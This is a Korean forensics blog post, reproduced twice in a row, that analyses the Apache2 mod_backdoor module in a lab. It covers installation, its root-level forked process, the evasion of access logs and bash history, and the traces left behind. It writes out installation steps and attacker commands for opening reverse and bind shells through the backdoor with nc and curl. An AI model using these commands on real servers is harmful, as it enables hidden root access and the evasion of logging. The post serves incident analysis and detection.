🗣️ Introduction
웹 서버는 인터넷의 핵심 구성 요소 중 하나로, 웹 페이지를 호스팅하고 사용자에게 웹 콘텐츠를 전달하는데 사용됩니다. 인터넷 상에서 가장 널리 사용되는 웹 서버 소프트웨어 중 하나는 Apache HTTP 서버입니다. 그러나 웹 서버의 보안은 항상 중요한 관심사였으며, 악의적인 공격자들은 여러 방법으로 시스템을 침해하려고 시도합니다. 본 게시물은 Apache HTTP 서버의 백도어 중 하나인 Apache2 mod_backdoor에 대해 소개하고 이에 대한 로그를 분석하고자 합니다.
**Apache2 mod_backdoor**는 Apache2 모듈을 사용하는 은밀한 백도어로서, 공격자에게 무단으로 웹 서버에 액세스할 수 있는 기회를 제공합니다. 이 백도어는 시스템의 보안에 심각한 위협을 가하며, 공격자가 시스템과 상호 작용할 수 있게 합니다. 이는 웹 서버의 구성 정보를 탈취하거나 추가적인 악성 코드를 실행할 수 있는 불법적인 경로를 제공합니다.
Apache2 mod_backdoor의 주요 기능으로는 Bind TTY 셸, 역방향 셸 (TTY, Native, PHP, Perl, Python, Ruby), 각 셸이 PID 1에 연결된 독립적인 루트 프로세스를 새로 생성하는 것, Socks5 프록시, 쿠키 헤더를 통한 비밀번호 보호 등이 있습니다. 또한, 이 백도어 모듈에 대한 요청은 Apache2에 의해 로깅되지 않아 공격자의 행동을 추적하기 어렵게 만듭니다.
따라서, Apache2 mod_backdoor의 작동 원리와 기능에 대해 설명하고, 사고 분석 및 대응을 위한 방법을 확인하고자 합니다.
👊 How to work Apache2 mod_backdoor
Apache2 mod_backdoor는 Apache HTTP 서버에서 동작하는 악의적인 모듈로서, 공격자에게 웹 서버에 대한 무단 액세스를 허용하는 백도어 기능을 제공합니다. 이러한 백도어는 시스템의 보안에 심각한 위협을 가하며, 공격자가 시스템과 상호 작용할 수 있게 합니다. 다음은 Apache2 mod_backdoor의 동작 과정에 대한 설명입니다.
- 모듈 설치:
공격자가 웹 서버에 mod_backdoor 모듈을 설치합니다. 이 모듈은 Apache HTTP 서버의 기능을 확장하기 위해 사용되는 다른 모듈과 함께 설치됩니다. - 백도어 프로세스 생성:
Apache2 서버가 구성을 로드한 직후, mod_backdoor는 기본 Apache2 프로세스를 fork() 합니다. 이 프로세스는 루트 사용자가 www-data로 프로세스를 전달하기 전에 fork되기 때문에, 공격자는 루트 사용자 권한으로 명령을 실행할 수 있습니다. - 비밀번호 전송:
공격자는 Cookie 헤더를 통해 비밀번호를 전송하여 백도어와 상호 작용할 수 있습니다 - 셸 및 프록시 활성화:
백도어가 설치되고 비밀번호 인증이 완료되면, 공격자는 다양한 종류의 셸에 액세스할 수 있습니다. 이러한 셸에는 Bind TTY 셸, 역방향 셸 (TTY, Native, PHP, Perl, Python, Ruby) 등이 포함됩니다. 또한 공격자는 Socks5 프록시를 통해 시스템 내부에서 인터넷 트래픽을 전송할 수 있습니다. - 로깅 우회:
mod_backdoor는 백도어 모듈에 대한 요청을 Apache2에 의해 로깅되지 않도록 하여, 공격자의 행동 추적을 어렵게 만듭니다. 이를 통해 공격자는 웹 서버에서의 활동을 은밀하게 유지할 수 있습니다. - 지속적인 액세스 유지:
mod_backdoor는 항상 실행 중인 백그라운드 프로세스로 동작하여 공격자가 시스템에 지속적으로 액세스할 수 있게 합니다. 이 백도어 프로세스는 웹 서버를 중지하거나 재시작할 때까지 계속 실행되며, 공격자에게 웹 서버에 대한 지속적인 루트 권한을 제공합니다. - 추가적인 공격 수행:
공격자는 mod_backdoor를 통해 시스템에 루트 권한으로 액세스한 후, 추가적인 악성 코드를 실행하거나 시스템의 민감한 데이터를 탈취할 수 있습니다. 이러한 공격은 웹 서버의 기능을 손상시킬 수 있으며, 기업 또는 개인의 정보 보안에 심각한 영향을 미칠 수 있습니다.
2.1 ℹ️ Test environment
2.1.1 🕴️Victim
- OS : Ubuntu 18.04.6 LTS
- Kernel : Linux ubuntu 5.4.0-144-generic #161~18.04.1-Ubuntu SMP
- Apache : 2.4.29
2.1.2 👾Attacker
- OS : Windows 11 Pro Build 22621
- Tool :
- Curl : 7.84.0 (i686-pc-cygwin) libcurl/7.84.0 OpenSSL/1.1.1q zlib/1.2.12 libssh2/1.10.0
2.2 🥇 Install Apache2 mod_backdoor
먼저, 테스트에 사용될 mod_backdoor는 아래 URL에서 확인할 수 있습니다.
https://github.com/VladRico/apache2_BackdoorMod
이후, 대상 서버에 Apache2 및 Apache2-dev가 설치되어 있어야합니다.
sudo apt-get install apache2 apache2-dev
그 다음, 깃헙에서 코드를 다운받아 컴파일 및 Apache2를 재실행한다
wget <https://github.com/VladRico/apache2_BackdoorMod/archive/refs/heads/master.zip>
unzip master.zip
cd master.zip
sudo apxs -i -a -c mod_backdoor.c sblist.c sblist_delete.c server.c -Wl,-lutil
sudo systemctl restart apache2
2.3 ✅ Let's analyze Apache2 mod_backdoor
2.3.1 🥇 Before activation
먼저, 동작전 서버의 Apache 프로세스 목록입니다.
-------------------------------------(중간 생략)----------------------------------------
root 11049 1 0 16:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 11050 11049 0 16:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 11051 11049 0 16:39 ? 00:00:00 /usr/sbin/apache2 -k start
-------------------------------------(중간 생략)---------------------------------------
mod_backdoor는 활성화 여부를 확인하기 위해 /ping 명령어를 통해 확인할 수 있습니다.
활성화 이전에는 mod_backdoor가 동작중이지 않아, 웹 로그에서 아래와 같은 404로그를 확인할 수 있습니다.
192.168.199.1 - - [24/Mar/2023:17:25:53 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
2.3.2 🥈 After activation
Apache를 재실행하여 mod_backdoor를 활성화할 경우, apache 프로세스가 fork되며, 독립적인 apache 프로세스가 하나 생성됩니다. 이 프로세스는 루트 사용자가 www-data로 프로세스를 전달하기 전에 fork되기 때문에, 공격자는 루트 사용자 권한으로 명령을 실행할 수 있습니다.
-------------------------------------(중간 생략)----------------------------------------
**root 33458 1 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start**
root 33459 1 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 33461 33459 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 33462 33459 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start
-------------------------------------(중간 생략)----------------------------------------
또한, Ping 명령을 통해 mod_backdoor의 상태를 확인해볼 수 있습니다.
curl --http0.9 -H 'Cookie: password=backdoor' <http://192.168.199.27/ping>
해당 명령을 통해 아래와 같은 결과를 확인할 수 있습니다.
백도어 활성화 이후 전송된 명령어는 별도 생성된 Apache 프로세스에 의해 관리되므로, 수행 행위에 대한 로그가 기록되지 않습니다. 아래는 “/var/log/apache2/acces.log”의 일부입니다.
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET / HTTP/1.1" 200 3477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET /icons/ubuntu-logo.png HTTP/1.1" 200 3623 "<http://192.168.199.26/>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET /favicon.ico HTTP/1.1" 404 492 "<http://192.168.199.26/>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:53 -0700] "-" 408 0 "-" "-"
192.168.199.1 - - [24/Mar/2023:17:25:53 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
192.168.199.1 - - [24/Mar/2023:17:37:05 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
위 [그림 3]처럼 활성화 이후 Ping명령이 전송된 “2023-03-24 17:37:06”에 대한 웹 로그는 확인할 수 없었으며, 공격자는 은밀하게 공격을 수행할 수 있습니다.
2.3.3 🥈 Reverse Shell
mod_backdoor는 아래 코드를 이용하여 Reverse Shell을 생성할 수 있습니다.
# Attacker
nc -kl [Port]
or
nc -lvp [Port]
curl -H 'Cookie: password=backdoor' http://[Server_IP]/reverse/[Attacker_IP]/[Port]/bash
위 명령를 통해 공격자는 nc를 활용해 특정 포트를 열어둔 뒤, mod_backdoor에 Reverse Connetion을 수행하는 명령어를 입력하여 아래 그림과 같이 Reverse Shell을 활성화합니다.
연결에 성공한 경우, 새로운 apache 프로세스가 생성되며, “kintegrityd”으로 위장된 bash 셸이 생성되게 됩니다.
최종적으로 공격자는 임의의 행위를 수행할 수 있으며, 분기되어 생성된 apache 및 bash 셸로 인해, Reverse Shell을 연결하기 위한 웹 접근 이력 및 **그림 4**에서 입력된 “pwd”, “id” 명령어는 웹 로그 및 ,bash_history, audit, messages 로그 등 syslog에서 확인할 수 없었습니다.
다만, 연결이 진행중인 상태에서는 **그림 5**와 같이 공격자의 IP 및 포트를 확인할 수 있습니다.
2.3.4 🥈 Bind Shell
Bind Shell의 경우, Vicitim쪽에서 Attacker쪽으로 붙는 방식이며 기본 동작 과정은 Reverse Shell과 동일합니다. 아래는 Bind Shell 활성화 및 연결 명령어입니다.
#Attacker
curl -H 'Cookie: password=backdoor' http://[Server_IP]/bind/[Port]
nc [Server_IP] [Port]
Bind Shell의 경우, Vicitim에서 연결을 기다리는 상태로 활성화 이후 연결이 되기전까지 apache 프로세스가 특정 포트를 오픈하고 대기하는 상태가됩니다. 아래는 **netstat -antp** 명령어 결과입니다.
그림 6과 같이 주로 사용되는 **80, 443** 포트를 제외하고 추가적으로 1337 포트가 LISTEN 상태인 것을 확인할 수 있습니다.
또한, 새로운 apache 프로세스가 생성되어 하위에 sh 이 생성된 것을 확인할 수 있습니다.
- 아래 **그림 8**과 **그림 9**를 확인해보면 Bind Shell을 통해 명령어가 입력된 시간에 **.bash_histroy**에 기록된 내용이 없는 것을 확인할 수 있습니다.
- Reverse Shell과 동일하게 가상의 Shell을 사용함으로써 .bash_histroy 등 사용자 입력 명령을 남기지 않아 추적이 불가능합니다.
다만, Bind Shell 연결 중 shell을 변경할 경우, 아래 그림 10처럼 입력 명령어가 정상적으로 기록되게 됩니다.
'공부 > Forensic' 카테고리의 다른 글
| Artifacts to check file execution history on Windows system - UserAssist: Windows 시스템에서 파일 실행 이력을 확인하는 아티팩트 - UserAssist (0) | 2023.04.19 |
|---|---|
| AnyDesk를 통한 침해사고 로그 분석 (0) | 2023.04.18 |
| MS-SQL 대상 공격 방식 중 하나인 CLR Assembly(Shell) 공격 : MS-SQL Attacks via the CLR as an alternative to xp_cmdshell (0) | 2023.04.11 |
| 디지털 포렌식의 일반원칙(디지털 포렌식 5원칙) (0) | 2021.02.19 |
| Digital Forensic / Incident Response (0) | 2021.01.21 |
🗣️ Introduction
웹 서버는 인터넷의 핵심 구성 요소 중 하나로, 웹 페이지를 호스팅하고 사용자에게 웹 콘텐츠를 전달하는데 사용됩니다. 인터넷 상에서 가장 널리 사용되는 웹 서버 소프트웨어 중 하나는 Apache HTTP 서버입니다. 그러나 웹 서버의 보안은 항상 중요한 관심사였으며, 악의적인 공격자들은 여러 방법으로 시스템을 침해하려고 시도합니다. 본 게시물은 Apache HTTP 서버의 백도어 중 하나인 Apache2 mod_backdoor에 대해 소개하고 이에 대한 로그를 분석하고자 합니다.
**Apache2 mod_backdoor**는 Apache2 모듈을 사용하는 은밀한 백도어로서, 공격자에게 무단으로 웹 서버에 액세스할 수 있는 기회를 제공합니다. 이 백도어는 시스템의 보안에 심각한 위협을 가하며, 공격자가 시스템과 상호 작용할 수 있게 합니다. 이는 웹 서버의 구성 정보를 탈취하거나 추가적인 악성 코드를 실행할 수 있는 불법적인 경로를 제공합니다.
Apache2 mod_backdoor의 주요 기능으로는 Bind TTY 셸, 역방향 셸 (TTY, Native, PHP, Perl, Python, Ruby), 각 셸이 PID 1에 연결된 독립적인 루트 프로세스를 새로 생성하는 것, Socks5 프록시, 쿠키 헤더를 통한 비밀번호 보호 등이 있습니다. 또한, 이 백도어 모듈에 대한 요청은 Apache2에 의해 로깅되지 않아 공격자의 행동을 추적하기 어렵게 만듭니다.
따라서, Apache2 mod_backdoor의 작동 원리와 기능에 대해 설명하고, 사고 분석 및 대응을 위한 방법을 확인하고자 합니다.
👊 How to work Apache2 mod_backdoor
Apache2 mod_backdoor는 Apache HTTP 서버에서 동작하는 악의적인 모듈로서, 공격자에게 웹 서버에 대한 무단 액세스를 허용하는 백도어 기능을 제공합니다. 이러한 백도어는 시스템의 보안에 심각한 위협을 가하며, 공격자가 시스템과 상호 작용할 수 있게 합니다. 다음은 Apache2 mod_backdoor의 동작 과정에 대한 설명입니다.
- 모듈 설치:
공격자가 웹 서버에 mod_backdoor 모듈을 설치합니다. 이 모듈은 Apache HTTP 서버의 기능을 확장하기 위해 사용되는 다른 모듈과 함께 설치됩니다. - 백도어 프로세스 생성:
Apache2 서버가 구성을 로드한 직후, mod_backdoor는 기본 Apache2 프로세스를 fork() 합니다. 이 프로세스는 루트 사용자가 www-data로 프로세스를 전달하기 전에 fork되기 때문에, 공격자는 루트 사용자 권한으로 명령을 실행할 수 있습니다. - 비밀번호 전송:
공격자는 Cookie 헤더를 통해 비밀번호를 전송하여 백도어와 상호 작용할 수 있습니다 - 셸 및 프록시 활성화:
백도어가 설치되고 비밀번호 인증이 완료되면, 공격자는 다양한 종류의 셸에 액세스할 수 있습니다. 이러한 셸에는 Bind TTY 셸, 역방향 셸 (TTY, Native, PHP, Perl, Python, Ruby) 등이 포함됩니다. 또한 공격자는 Socks5 프록시를 통해 시스템 내부에서 인터넷 트래픽을 전송할 수 있습니다. - 로깅 우회:
mod_backdoor는 백도어 모듈에 대한 요청을 Apache2에 의해 로깅되지 않도록 하여, 공격자의 행동 추적을 어렵게 만듭니다. 이를 통해 공격자는 웹 서버에서의 활동을 은밀하게 유지할 수 있습니다. - 지속적인 액세스 유지:
mod_backdoor는 항상 실행 중인 백그라운드 프로세스로 동작하여 공격자가 시스템에 지속적으로 액세스할 수 있게 합니다. 이 백도어 프로세스는 웹 서버를 중지하거나 재시작할 때까지 계속 실행되며, 공격자에게 웹 서버에 대한 지속적인 루트 권한을 제공합니다. - 추가적인 공격 수행:
공격자는 mod_backdoor를 통해 시스템에 루트 권한으로 액세스한 후, 추가적인 악성 코드를 실행하거나 시스템의 민감한 데이터를 탈취할 수 있습니다. 이러한 공격은 웹 서버의 기능을 손상시킬 수 있으며, 기업 또는 개인의 정보 보안에 심각한 영향을 미칠 수 있습니다.
2.1 ℹ️ Test environment
2.1.1 🕴️Victim
- OS : Ubuntu 18.04.6 LTS
- Kernel : Linux ubuntu 5.4.0-144-generic #161~18.04.1-Ubuntu SMP
- Apache : 2.4.29
2.1.2 👾Attacker
- OS : Windows 11 Pro Build 22621
- Tool :
- Curl : 7.84.0 (i686-pc-cygwin) libcurl/7.84.0 OpenSSL/1.1.1q zlib/1.2.12 libssh2/1.10.0
2.2 🥇 Install Apache2 mod_backdoor
먼저, 테스트에 사용될 mod_backdoor는 아래 URL에서 확인할 수 있습니다.
https://github.com/VladRico/apache2_BackdoorMod
이후, 대상 서버에 Apache2 및 Apache2-dev가 설치되어 있어야합니다.
sudo apt-get install apache2 apache2-dev
그 다음, 깃헙에서 코드를 다운받아 컴파일 및 Apache2를 재실행한다
wget <https://github.com/VladRico/apache2_BackdoorMod/archive/refs/heads/master.zip>
unzip master.zip
cd master.zip
sudo apxs -i -a -c mod_backdoor.c sblist.c sblist_delete.c server.c -Wl,-lutil
sudo systemctl restart apache2
2.3 ✅ Let's analyze Apache2 mod_backdoor
2.3.1 🥇 Before activation
먼저, 동작전 서버의 Apache 프로세스 목록입니다.
-------------------------------------(중간 생략)----------------------------------------
root 11049 1 0 16:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 11050 11049 0 16:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 11051 11049 0 16:39 ? 00:00:00 /usr/sbin/apache2 -k start
-------------------------------------(중간 생략)---------------------------------------mod_backdoor는 활성화 여부를 확인하기 위해 /ping 명령어를 통해 확인할 수 있습니다.
활성화 이전에는 mod_backdoor가 동작중이지 않아, 웹 로그에서 아래와 같은 404로그를 확인할 수 있습니다.
192.168.199.1 - - [24/Mar/2023:17:25:53 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
2.3.2 🥈 After activation
Apache를 재실행하여 mod_backdoor를 활성화할 경우, apache 프로세스가 fork되며, 독립적인 apache 프로세스가 하나 생성됩니다. 이 프로세스는 루트 사용자가 www-data로 프로세스를 전달하기 전에 fork되기 때문에, 공격자는 루트 사용자 권한으로 명령을 실행할 수 있습니다.
-------------------------------------(중간 생략)----------------------------------------
**root 33458 1 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start**
root 33459 1 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 33461 33459 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 33462 33459 0 17:33 ? 00:00:00 /usr/sbin/apache2 -k start
-------------------------------------(중간 생략)----------------------------------------
또한, Ping 명령을 통해 mod_backdoor의 상태를 확인해볼 수 있습니다.
curl --http0.9 -H 'Cookie: password=backdoor' <http://192.168.199.27/ping>
해당 명령을 통해 아래와 같은 결과를 확인할 수 있습니다.
백도어 활성화 이후 전송된 명령어는 별도 생성된 Apache 프로세스에 의해 관리되므로, 수행 행위에 대한 로그가 기록되지 않습니다. 아래는 “/var/log/apache2/acces.log”의 일부입니다.
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET / HTTP/1.1" 200 3477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET /icons/ubuntu-logo.png HTTP/1.1" 200 3623 "<http://192.168.199.26/>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET /favicon.ico HTTP/1.1" 404 492 "<http://192.168.199.26/>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:53 -0700] "-" 408 0 "-" "-"
192.168.199.1 - - [24/Mar/2023:17:25:53 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
192.168.199.1 - - [24/Mar/2023:17:37:05 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
위 [그림 3]처럼 활성화 이후 Ping명령이 전송된 “2023-03-24 17:37:06”에 대한 웹 로그는 확인할 수 없었으며, 공격자는 은밀하게 공격을 수행할 수 있습니다.
2.3.3 🥈 Reverse Shell
mod_backdoor는 아래 코드를 이용하여 Reverse Shell을 생성할 수 있습니다.
# Attacker
nc -kl [Port]
or
nc -lvp [Port]
curl -H 'Cookie: password=backdoor' http://[Server_IP]/reverse/[Attacker_IP]/[Port]/bash
위 명령를 통해 공격자는 nc를 활용해 특정 포트를 열어둔 뒤, mod_backdoor에 Reverse Connetion을 수행하는 명령어를 입력하여 아래 그림과 같이 Reverse Shell을 활성화합니다.
연결에 성공한 경우, 새로운 apache 프로세스가 생성되며, “kintegrityd”으로 위장된 bash 셸이 생성되게 됩니다.
최종적으로 공격자는 임의의 행위를 수행할 수 있으며, 분기되어 생성된 apache 및 bash 셸로 인해, Reverse Shell을 연결하기 위한 웹 접근 이력 및 **그림 4**에서 입력된 “pwd”, “id” 명령어는 웹 로그 및 ,bash_history, audit, messages 로그 등 syslog에서 확인할 수 없었습니다.
다만, 연결이 진행중인 상태에서는 **그림 5**와 같이 공격자의 IP 및 포트를 확인할 수 있습니다.
2.3.4 🥈 Bind Shell
Bind Shell의 경우, Vicitim쪽에서 Attacker쪽으로 붙는 방식이며 기본 동작 과정은 Reverse Shell과 동일합니다. 아래는 Bind Shell 활성화 및 연결 명령어입니다.
#Attacker
curl -H 'Cookie: password=backdoor' http://[Server_IP]/bind/[Port]
nc [Server_IP] [Port]
Bind Shell의 경우, Vicitim에서 연결을 기다리는 상태로 활성화 이후 연결이 되기전까지 apache 프로세스가 특정 포트를 오픈하고 대기하는 상태가됩니다. 아래는 **netstat -antp** 명령어 결과입니다.
그림 6과 같이 주로 사용되는 **80, 443** 포트를 제외하고 추가적으로 1337 포트가 LISTEN 상태인 것을 확인할 수 있습니다.
또한, 새로운 apache 프로세스가 생성되어 하위에 sh 이 생성된 것을 확인할 수 있습니다.
- 아래 **그림 8**과 **그림 9**를 확인해보면 Bind Shell을 통해 명령어가 입력된 시간에 **.bash_histroy**에 기록된 내용이 없는 것을 확인할 수 있습니다.
- Reverse Shell과 동일하게 가상의 Shell을 사용함으로써 .bash_histroy 등 사용자 입력 명령을 남기지 않아 추적이 불가능합니다.
다만, Bind Shell 연결 중 shell을 변경할 경우, 아래 그림 10처럼 입력 명령어가 정상적으로 기록되게 됩니다.
'공부 > Forensic' 카테고리의 다른 글
| Artifacts to check file execution history on Windows system - UserAssist: Windows 시스템에서 파일 실행 이력을 확인하는 아티팩트 - UserAssist (0) | 2023.04.19 |
|---|---|
| AnyDesk를 통한 침해사고 로그 분석 (0) | 2023.04.18 |
| MS-SQL 대상 공격 방식 중 하나인 CLR Assembly(Shell) 공격 : MS-SQL Attacks via the CLR as an alternative to xp_cmdshell (0) | 2023.04.11 |
| 디지털 포렌식의 일반원칙(디지털 포렌식 5원칙) (0) | 2021.02.19 |
| Digital Forensic / Incident Response (0) | 2021.01.21 |
